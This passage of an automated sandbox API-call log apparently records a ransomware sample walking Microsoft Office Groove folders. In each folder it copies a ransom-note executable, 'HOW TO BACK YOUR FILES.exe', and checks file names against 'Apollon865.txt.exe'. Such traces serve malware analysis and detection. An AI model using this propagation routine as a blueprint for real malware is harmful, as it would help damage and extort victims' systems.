	[0070.950] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.957] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x425de170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x425de170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.957] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.957] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.958] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue"
	[0070.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0070.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0070.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned 103
	[0070.958] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue"
	[0070.958] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.958] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.963] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x425de170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x425de170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.963] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.963] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.963] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana"
	[0070.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3720 | out: hHeap=0x580000) returned 1
	[0070.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0070.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana") returned 104
	[0070.963] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana"
	[0070.963] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.963] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.968] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x425de170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x425de170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.968] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.968] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.968] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3"
	[0070.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0fd8 | out: hHeap=0x580000) returned 1
	[0070.968] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0070.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned 82
	[0070.968] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3"
	[0070.968] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.968] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.975] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426042d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426042d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.976] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.976] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.979] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles"
	[0070.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0070.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0070.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles") returned 94
	[0070.979] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles"
	[0070.979] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.979] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.984] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4262a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4262a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.985] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.985] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.986] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl"
	[0070.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5878 | out: hHeap=0x580000) returned 1
	[0070.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0008 | out: hHeap=0x580000) returned 1
	[0070.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl") returned 100
	[0070.986] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl"
	[0070.986] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.986] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.992] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4262a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4262a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.992] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.992] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.992] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2"
	[0070.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a500 | out: hHeap=0x580000) returned 1
	[0070.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffe8 | out: hHeap=0x580000) returned 1
	[0070.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2") returned 99
	[0070.992] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2"
	[0070.992] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.992] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.998] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4262a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4262a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.998] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.998] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.998] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen"
	[0070.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a420 | out: hHeap=0x580000) returned 1
	[0070.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffc8 | out: hHeap=0x580000) returned 1
	[0070.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen") returned 106
	[0070.998] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen"
	[0070.998] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.998] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.003] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42650590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42650590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.003] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.003] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.003] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue"
	[0071.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a57a0 | out: hHeap=0x580000) returned 1
	[0071.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffa8 | out: hHeap=0x580000) returned 1
	[0071.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue") returned 103
	[0071.004] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue"
	[0071.004] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.004] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42650590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42650590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.010] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.010] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.010] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate"
	[0071.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a56c8 | out: hHeap=0x580000) returned 1
	[0071.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff88 | out: hHeap=0x580000) returned 1
	[0071.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate") returned 100
	[0071.010] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate"
	[0071.010] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.010] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.014] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42650590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42650590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.014] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.014] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.014] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis"
	[0071.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a55f0 | out: hHeap=0x580000) returned 1
